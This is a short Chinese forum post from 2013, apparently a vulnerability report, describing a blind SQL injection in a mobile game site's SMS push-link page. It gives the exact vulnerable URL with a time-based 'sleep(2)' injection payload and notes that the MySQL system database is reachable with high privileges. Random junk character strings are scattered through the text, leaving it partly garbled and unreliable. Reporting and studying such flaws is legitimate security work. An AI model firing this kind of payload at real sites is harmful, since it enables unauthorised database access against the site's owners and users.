简要描述：
: F# v# b: ^2 C3 S8 T: q凤凰手机游戏网，在填写手机号码发送push连接的地方存在sql盲注漏洞。6 N4 n0 P, l) E
$ g' X8 z J# v
详细说明：1 U m$ V1 l6 N4 R7 O& ]
存在SQL盲注url:2 s' p5 T* i3 x5 D
fenghuang/game/game_send_sms.jsp?gameid=130221346000%27%20and%20sleep%282%29%3d%27&mo=1+ L& Q" X3 |0 f. f) t
http://www.myhack58.com/Article/UploadPic/2013-4/2013411254849748.png
' r$ Z) i3 ?4 W( |6 xhttp://www.myhack58.com/Article/UploadPic/2013-4/20134112545369314.png
$ F) r% n# p( c9 f4 @+ ^http://www.myhack58.com/Article/UploadPic/2013-4/20134112565766695.jpg; G2 f6 {" C4 `( w7 v! @4 L
) t8 ^3 l1 i" g3 s
能看到mysql系统数据库，看来user权限应该很高的。。 | 
发表于 2013-4-4 17:34:29
收藏
支持
反对